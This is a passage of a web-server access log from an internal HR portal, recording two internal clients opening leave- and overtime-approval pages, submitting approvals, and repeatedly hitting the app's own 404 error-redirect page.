"http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:44 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:44 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.40.54 - - [03/Dec/2025:09:01:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.40.54 - - [03/Dec/2025:09:01:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [03/Dec/2025:09:01:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:01:46 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7060 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:01:46 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7060 192.168.40.54 - - [03/Dec/2025:09:01:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 12114 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 12114 192.168.40.54 - - [03/Dec/2025:09:01:59 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 4001 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:01:59 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 4001 192.168.40.54 - - [03/Dec/2025:09:02:00 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [03/Dec/2025:09:02:00 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.139.25 - - [03/Dec/2025:09:02:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 63361 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 63361 192.168.139.25 - - [03/Dec/2025:09:02:21 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:21 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132702%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132702&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132702%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132702&target=iframe HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:24 +0800] "GET 